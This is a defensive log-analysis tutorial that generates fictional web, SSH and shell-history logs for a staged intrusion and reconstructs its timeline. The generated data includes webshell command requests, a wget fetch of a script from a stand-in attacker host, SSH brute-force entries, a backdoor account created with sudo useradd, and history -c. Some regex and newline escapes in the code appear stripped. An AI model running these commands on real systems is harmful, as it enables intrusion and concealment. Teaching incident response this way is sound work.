Step 245. Log Analysis Scenario: Reconstructing an Intrusion Timeline — Scattered Puzzle Pieces into a Single Line of Story

Level 3 — Real-World CTF & Advanced Offensive Skills | Difficulty ★★★☆☆ | Estimated time: 3–4 hours

Prerequisites: Step 244 complete. Python 3 and Git Bash (grep/awk) are used. The log files are ones we create and analyze ourselves.

⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.

• What you need: Python 3 (measured: 3.12.14), Git Bash, one working folder. No internet connection needed.
• Caution: the logs we analyze today are fictional logs we generate ourselves. The attacker IP is also a fictional address from the documentation-only range (203.0.113.0/24, TEST-NET-3). When handling real server logs, personal information and internal IPs are mixed in, so always sanitize them before sharing externally.

At a real breach investigation scene, evidence doesn’t come neatly organized in one file. Web server logs, authentication logs, and command histories are puzzle pieces scattered every which way. But the moment you lay "the webshell upload time in the web log → the odd login in the auth log → the new-account creation record" side by side on a time axis, the pieces become a single line of story. That ability — correlation, turning dispersed records into a story — is the heart of incident response (IR). Today you reconstruct one fictional intrusion from beginning to end with your own hands.

1. Learning Objectives

By the end of this chapter, you will be able to:

• Read one line of a web access log (Apache format) and an authentication log (auth.log format)
• Filter out suspicious activity with grep/awk and Python
• Merge records from multiple logs in time order to build an attack timeline
• Write a mini report with the 5-part structure: intrusion vector, initial access, actions performed, scope of damage, prevention
• Explain the principle by which "the trace of logs being erased" is itself evidence

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

2-1. Correlation — From Puzzle to Story

Correlation is the technique of aligning records from different sources along a common axis (usually time, IP, or account) to reconstruct a single flow of events.

A single log tells only a fragment. The web log knows "who requested which URL"; the auth log knows "who succeeded or failed to log in." But if the same IP uploaded something in the web log and nine minutes later logged in successfully in the auth log — the two records become one intrusion scenario. An investigator’s skill shows in finding these "same actor, same time" links.

2-2. Reading Log Formats — Two Faces

Here are the two formats we handle today.

Apache combined format (web server):

203.0.113.77 - - [09/Sep/2026:22:17:44 +0900] "POST /upload.php HTTP/1.1" 200 531 "-" "curl/8.5.0"

From the left: IP | (two auth fields) | time (with timezone) | "method path protocol" | status code | response size | referer | User-Agent. The five you use most in investigation are IP, time, path, status code, and User-Agent.

auth.log format (Linux authentication):

Sep  9 22:15:00 webserver sshd[3310]: Failed password for invalid user admin from 203.0.113.77 port 44000 ssh2

Date time | hostname | process[PID] | message. Inside the message sit success/failure, the account name, and the source IP.

2-3. The Typical Order of an Attack — The Kill Chain’s Log Version

A web server intrusion shows up in logs in roughly the same order every time:

1. Reconnaissance — probing non-existent paths (a burst of 404s), scanner User-Agents
2. Attack — exploit attempts (SQL injection patterns, file uploads)
3. Foothold — webshell access records (like /uploads/shell.php?cmd=...)
4. Expansion — SSH login attempts, privilege escalation (sudo), new-account creation
5. Covering tracks — deleting history, gaps in the logs

Today’s practice logs contain all five stages. Know the order and the logs read differently.

2-4. What’s Erased Is Also Evidence

Attackers run history -c to clear command history and delete parts of the logs. But the fact that "it’s empty" is itself a record. If a normal server’s bash_history is suddenly empty, or a whole stretch of time is missing from the logs — that gap becomes evidence that "someone erased it" (a principle you already met in Step 12’s Exercise 4). An investigation report records not just "confirmed facts" but also "gaps that couldn’t be confirmed."

3. Follow Along

3-1. Staging the Scene — Generating Fictional Logs

Generate the practice intrusion-scenario logs yourself. Create gen_logs.py in your working folder:

from pathlib import Path
import random
random.seed(42)
out = Path("lab245"); out.mkdir(exist_ok=True)
ATK = "203.0.113.77"  # fictional attacker (documentation-only range)
LEGIT = ["192.168.10.21", "192.168.10.35", "10.20.0.8"]
pages = ["/", "/index.php", "/board/list.php", "/login.php", "/css/style.css"]

lines = []
for h in range(9, 22):  # daytime access by legitimate users
    for _ in range(random.randint(3, 6)):
        ip, p = random.choice(LEGIT), random.choice(pages)
        m, s = random.randint(0, 59), random.randint(0, 59)
        lines.append((h * 60 + m, f'{ip} - - [09/Sep/2026:{h:02d}:{m:02d}:{s:02d} +0900] "GET {p} HTTP/1.1" 200 {random.randint(200, 5000)} "-" "Mozilla/5.0"'))
# The attacker's actions (22:13~22:21)
att = ["22:13:02 GET /wp-admin/ 404 sqlmap", "22:13:09 GET /.git/config 404 sqlmap",
       "22:14:31 GET /board/view.php?id=13%27%20OR%201=1-- 200 Mozilla",
       "22:17:44 POST /upload.php 200 curl", "22:19:03 GET /uploads/shell.php?cmd=id 200 curl",
       "22:19:41 GET /uploads/shell.php?cmd=cat%20/etc/passwd 200 curl",
       "22:21:15 GET /uploads/shell.php?cmd=wget%20http://203.0.113.77/x.sh 200 curl"]
for a in att:
    t, method, path, code, ua = a.split(" ", 4)
    h, m, s = map(int, t.split(":"))
    lines.append((h * 60 + m, f'{ATK} - - [09/Sep/2026:{t} +0900] "{method} {path} HTTP/1.1" {code} 500 "-" "{ua}"'))
lines.sort(key=lambda x: x[0])
(out / "access.log").write_text("n".join(l for _, l in lines) + "n", encoding="utf-8")

auth = ["Sep  9 09:02:11 webserver sshd[1102]: Accepted password for deploy from 10.20.0.8 port 51022 ssh2"]
for i in range(12):
    auth.append(f"Sep  9 22:15:{i*4:02d} webserver sshd[3310]: Failed password for invalid user admin from {ATK} port {44000+i*7} ssh2")
for i in range(8):
    auth.append(f"Sep  9 22:16:{i*3:02d} webserver sshd[3310]: Failed password for root from {ATK} port {45000+i*11} ssh2")
auth += [f"Sep  9 22:22:08 webserver sshd[3411]: Accepted password for www-data from {ATK} port 45123 ssh2",
         "Sep  9 22:24:51 webserver sudo: www-data : USER=root ; COMMAND=/usr/sbin/useradd -m backup2",
         "Sep  9 22:24:52 webserver useradd[3550]: new user: name=backup2, UID=1001, home=/home/backup2, shell=/bin/bash",
         f"Sep  9 22:26:10 webserver sshd[3490]: Accepted password for backup2 from {ATK} port 45200 ssh2",
         "Sep  9 23:01:44 webserver sshd[3490]: pam_unix(sshd:session): session closed for user backup2"]
(out / "auth.log").write_text("n".join(auth) + "n", encoding="utf-8")

hist = "cd /var/www/html/uploadsnidncat /etc/passwdnwget http://203.0.113.77/x.shnchmod +x x.shnsudo useradd -m backup2nhistory -cn"
(out / "bash_history").write_text(hist, encoding="utf-8")
print("created:", [p.name for p in out.iterdir()])

Run it:

python gen_logs.py

created: ['access.log', 'auth.log', 'bash_history']

(Measured 2026-09-09. Generated access.log at 63 lines, auth.log at 26 lines, bash_history at 7 lines.)

Why make them ourselves: real incident logs often can neither be obtained nor shared (personal data, confidentiality). So training happens with "a scenario I made" — you practice the analysis procedure while knowing the answer, then apply it later to a CTF’s unknown logs.

3-2. First Recon — Who Knocked on This Server

The first move of log analysis is the "who came by" tally. In Git Bash:

cd lab245
awk '{print $1}' access.log | sort | uniq -c | sort -rn

     20 192.168.10.21
     19 192.168.10.35
     17 10.20.0.8
      7 203.0.113.77

(Measured 2026-09-09.)

How to read the output: awk '{print $1}' extracts only the first field (IP), and sort | uniq -c counts each kind. Three internal ranges (192.168.x, 10.x) show even access, while 203.0.113.77 alone came from outside with 7 hits. Don’t relax because the count is small — an attack can finish in a handful of requests. Now we need to see what this IP’s 7 hits are.

Check the auth log’s failure count too:

grep -c "Failed password" auth.log

20

(Measured 2026-09-09.) Twenty SSH password failures — that’s not ordinary-typo territory. It smells like brute force.

3-3. Filtering Suspicious Requests — A Python Analyzer

Now the full analysis script, analyze.py:

import re
from pathlib import Path

lab = Path("lab245")
access = (lab / "access.log").read_text(encoding="utf-8").splitlines()
auth = (lab / "auth.log").read_text(encoding="utf-8").splitlines()

# 1. Suspicious requests: 404s, scanner UA, uploads, webshell
sus = [l for l in access if ("404" in l or "sqlmap" in l
        or "shell.php" in l or '"POST' in l or "OR 1=1" in l)]
print("=== Suspicious requests ===")
for l in sus:
    print(l[:110])

# 2. Failures/successes/account creation in auth.log
print("n=== Authentication records ===")
for l in auth:
    if "Failed password" in l or "Accepted password" in l or "new user" in l:
        kind = "FAIL" if "Failed" in l else ("OK  " if "Accepted" in l else "USER")
        who = re.search(r"for (?:invalid user )?(?:user )?(S+)", l)
        print(f"{l[:15]}  {kind}  {who.group(1) if who else '?':>10}")

Result (measured 2026-09-09, partially abridged):

=== Suspicious requests ===
203.0.113.77 - - [09/Sep/2026:22:13:02 +0900] "GET /wp-admin/ HTTP/1.1" 404 162 "-" "sqlmap/1.7"
203.0.113.77 - - [09/Sep/2026:22:13:09 +0900] "GET /.git/config HTTP/1.1" 404 162 "-" "sqlmap/1.7"
203.0.113.77 - - [09/Sep/2026:22:17:44 +0900] "POST /upload.php HTTP/1.1" 200 531 "-" "curl/8.5.0"
203.0.113.77 - - [09/Sep/2026:22:19:03 +0900] "GET /uploads/shell.php?cmd=id HTTP/1.1" 200 187 "-" "curl/8.5.0"
203.0.113.77 - - [09/Sep/2026:22:19:41 +0900] "GET /uploads/shell.php?cmd=cat%20/etc/passwd HTTP/1.1" 200 1204 "-" "curl...
203.0.113.77 - - [09/Sep/2026:22:21:15 +0900] "GET /uploads/shell.php?cmd=wget%20http://203.0.113.77/x.sh HTTP/1.1" 200 ...

=== Authentication records ===
Sep  9 09:02:11  OK        deploy
Sep  9 22:15:00  FAIL       admin
Sep  9 22:15:04  FAIL       admin
... (12 admin failures, followed by 8 root failures)
Sep  9 22:16:21  FAIL        root
Sep  9 22:22:08  OK      www-data
Sep  9 22:24:52  USER     backup2
Sep  9 22:26:10  OK       backup2

How to read the output: on the web side — a scan with the sqlmap (automated attack tool) User-Agent → a SQL injection attempt (OR 1=1) → a file upload → requests to /uploads/shell.php with cmd=id and cmd=cat /etc/passwd — meaning a webshell went up and commands executed. On the auth side, in the same window, a burst of admin/root failures followed by a www-data success, and then the creation of an unknown account, backup2.

3-4. Merging the Timeline — Completing the Story

Finally, merge the two logs in time order. Append to the analyzer:

events = []
for l in access:
    if "203.0.113.77" in l:
        t = re.search(r"2026:(d+:d+:d+)", l).group(1)
        act = re.search(r'"(GET|POST) (S+)', l)
        events.append((t, "WEB", f"{act.group(1)} {act.group(2)[:55]}"))
for l in auth:
    if "203.0.113.77" in l or "backup2" in l:
        t = l[7:15].strip()
        if "Failed" in l: what = "SSH failed"
        elif "Accepted" in l: what = "SSH login success"
        elif "new user" in l: what = "account created"
        elif "session closed" in l: what = "session closed"
        else: what = "sudo executed"
        who = re.search(r"for (?:invalid user )?(?:user )?(S+)", l)
        events.append((t, "SSH", f"{what} ({who.group(1) if who else '?'})"))
events.sort()
for t, src, what in events:
    print(f"{t}  {src:4} {what}")

Result (measured 2026-09-09, consecutive failures shown compressed):

22:13:02  WEB  GET /wp-admin/
22:13:09  WEB  GET /.git/config
22:14:31  WEB  GET /board/view.php?id=13%27%20OR%201=1--
22:15:00  SSH  SSH failed (admin)      ← brute force begins
   ...    SSH  12 admin failures, 8 root failures
22:16:21  SSH  SSH failed (root)       ← brute force ends
22:17:44  WEB  POST /upload.php        ← webshell upload
22:19:03  WEB  GET /uploads/shell.php?cmd=id
22:19:41  WEB  GET /uploads/shell.php?cmd=cat%20/etc/passwd
22:21:15  WEB  GET /uploads/shell.php?cmd=wget http://203.0.113.77/x.sh
22:22:08  SSH  SSH login success (www-data)
22:24:51  SSH  sudo executed (backup2)
22:24:52  SSH  account created (backup2)
22:26:10  SSH  SSH login success (backup2)
23:01:44  SSH  session closed (backup2)

How to read the output: this is the timeline. From reconnaissance at 22:13 to withdrawal at 23:01, the attacker’s 48 minutes are visible at a glance. The rows come from different sources (WEB/SSH), but because they share one time axis, they become a story — this is correlation’s deliverable.

3-5. bash_history — What Remained and What Was Erased

The final puzzle piece:

cat bash_history

cd /var/www/html/uploads
id
cat /etc/passwd
wget http://203.0.113.77/x.sh
chmod +x x.sh
sudo useradd -m backup2
history -c

(Measured 2026-09-09 — exactly the generated content.)

How to read the output: the actions taken through the webshell (id, reading /etc/passwd, the wget download) match the log’s web requests exactly — cross-validation successful. And the last line, history -c, is the command "erase the records." The very fact that the erase command remains means this record either survived only in part or is a snapshot from just before the erasure. In a real investigation, the report records it as "subsequent actions unknown — signs of log concealment present."

4. Missions & Exercises

Mission — A Mini Breach-Analysis Report

Using the results of section 3’s analysis, write a 5-part report in report.md:

1. Intrusion vector — what was the initial entry method (quote one log line as evidence)
2. Initial access time — the attacker’s first record and last record
3. Actions performed — pick at least 5 actions from the timeline and list them
4. Scope of damage — compromised accounts, created accounts, possibly exfiltrated files
5. Prevention — at least 3 measures to give this server’s administrator

Exercises

Problem 1. In this access.log line — 203.0.113.77 - - [09/Sep/2026:22:19:03 +0900] "GET /uploads/shell.php?cmd=id HTTP/1.1" 200 187 "-" "curl/8.5.0" — what does status code 200 tell the investigator?

Problem 2. In this incident, the attacker failed at SSH brute force (22:15–22:16), yet eventually succeeded in logging in as www-data at 22:22. What evidence in the logs supports the inference that this success was not the result of brute force?

Problem 3. You’re merging two servers’ logs into one timeline, and one server recorded in +0900 while the other used UTC (+0000). What must you do first?

Problem 4. The last line of the attacker’s bash_history was history -c. How should this one line be recorded in the report? Explain the difference between "there is no evidence" and "the evidence was erased."

[Breach Analysis Report] (lab245 scenario, analyzed 2026-09-09)

[1] Intrusion vector
A file-upload vulnerability. After 22:17:44 POST /upload.php, /uploads/shell.php
was used as a webshell. A SQL injection attempt (22:14:31) preceded it, but the
main entry route was the upload.

[2] Initial access time
First record 22:13:02 (GET /wp-admin/, scan) — last record 23:01:44 (session closed).
Attack dwell time about 48 minutes. Attack IP: 203.0.113.77.

[3] Actions performed (in time order)
- 22:13 directory scan (sqlmap)
- 22:14 SQL injection attempt
- 22:15~22:16 SSH brute force (admin 12 times, root 8 times, all failed)
- 22:17 webshell upload
- 22:19~22:21 command execution via webshell (id, reading /etc/passwd, downloading an external script)
- 22:22 www-data SSH login success
- 22:24 new account backup2 created via sudo
- 22:26 SSH reconnection as backup2 (persistence secured)
- afterwards, history concealment attempted with history -c

[4] Scope of damage
- Compromised account: www-data (the web server's execution account)
- Malicious account created: backup2 (UID 1001) — lock immediately
- Possibly exfiltrated file: /etc/passwd (read record confirmed in the log)
- Contents of the additionally downloaded x.sh unknown — residual files on the server must be checked

[5] Prevention
- Disable PHP execution in the upload directory + validate uploaded files' extensions and contents
- Disable SSH password login (switch to key auth), block brute force with fail2ban etc.
- Block SSH login outright for service accounts like www-data (shell=/usr/sbin/nologin)
- Delete the backup2 account and audit every sudo command after 22:24

6. Common Pitfalls & Fixes

Wall 1. awk fields come out wrong

Symptom: awk '{print $1}' outputs something other than the IP.
Cause: awk splits fields on whitespace by default. access.log’s first field is the IP, so it works — but auth.log’s first field is the month (Sep). Each log has its own "which field is what."
Fix: look at one line’s structure first with head -3 logfile, then pick field numbers. auth.log’s IP lives inside the message, so extracting by pattern like grep -o "from [0-9.]*" works better.

Wall 2. The regex finds nothing

Symptom: re.search(r"for (S+)", l) returns None, and .group(1) raises AttributeError: 'NoneType' object has no attribute 'group' (measured 2026-09-09 — it actually happened while writing the analysis script).
Cause: lines like new user: have no "for … from" pattern, so the match fails. Logs are written by machines, but they don’t come in a single format.
Fix: check with if m: before matching, or apply different patterns per kind. The assumption "every line has the same format" is log analysis’s biggest trap.

Wall 3. The time ordering is off

Symptom: you sorted by time but the order is a jumble.
Cause: the two logs have different time formats — access.log uses 22:13:02, auth.log uses Sep 9 22:15:00. Worse, it’s string sorting, so 9:02 can land after 22:13.
Fix: convert to a common key (e.g., the number "hour*60+minute") before sorting. If different timezones are mixed in, conversion comes first (Exercise 3).

Wall 4. The "suspicious IP" turns out to be internal monitoring

Symptom: you judged an IP causing piles of 404s to be an attacker, but it was the company’s health-check server.
Cause: you looked at the pattern but not the context. Health checks, monitoring, and backups also show up in logs, and some look like scans.
Fix: ask "can this IP’s identity be explained?" first (the same principle as Step 11’s three questions). The User-Agent, request intervals, and the company’s asset list explain most of them. Only what can’t be explained becomes an attack candidate.

Wall 5. An entire stretch of time is missing from the logs

Symptom: not a single web-log line between 22:30 and 23:00.
Cause: one of two — either there genuinely were no requests, or someone deleted them.
Fix: look for discriminating clues — the log file’s modification time, log-rotation traces, whether other logs (like the auth log) have records in that window. Even an empty stretch gets explicitly recorded in the report as "a gap exists; concealment cannot be ruled out."

7. Summary

Today’s Concepts

Today’s Commands

An Instinct More Important Than Commands

The essence of log analysis isn’t tools — it’s the order of questions: who came by (IP tally) → what did they do (suspicious requests) → in what time sequence (timeline) → so what’s the damage (scoping) → how do we stop it (prevention). Today you applied these five questions to an 89-line fictional log, and this procedure is exactly the same on a real incident log with tens of thousands of lines.

And remember — attackers read logs too. So they erase, they deceive (fake User-Agents), they blend into the normal. The investigator’s counter is simple: never trust a single log; cross-validate, and record what’s missing too. As you saw the web requests and bash_history pointing at the same actions today, traces may be erased, but they’re never erased from every place at once.

Once every box is checked, Step 245 is complete.